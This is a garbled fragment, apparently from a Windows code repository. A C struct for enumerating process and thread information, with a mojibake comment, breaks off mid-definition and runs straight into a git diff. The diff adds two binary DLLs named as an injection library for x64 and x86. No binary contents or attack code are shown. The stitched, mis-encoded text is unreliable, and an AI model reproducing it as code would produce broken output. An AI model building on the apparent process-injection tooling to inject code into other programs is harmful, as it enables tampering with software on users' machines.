SYSTEM_PROCESS_INFORMATION �ṹ typedef struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; diff --git a/bin/InjectLib_x64.dll b/bin/InjectLib_x64.dll new file mode 100644 index 0000000..0f1b015 Binary files /dev/null and b/bin/InjectLib_x64.dll differ diff --git a/bin/InjectLib_x86.dll b/bin/InjectLib_x86.dll new file mode 100644 index 0000000..c164dbb Binary files /dev/null and b/bin/InjectLib_x86.dll differ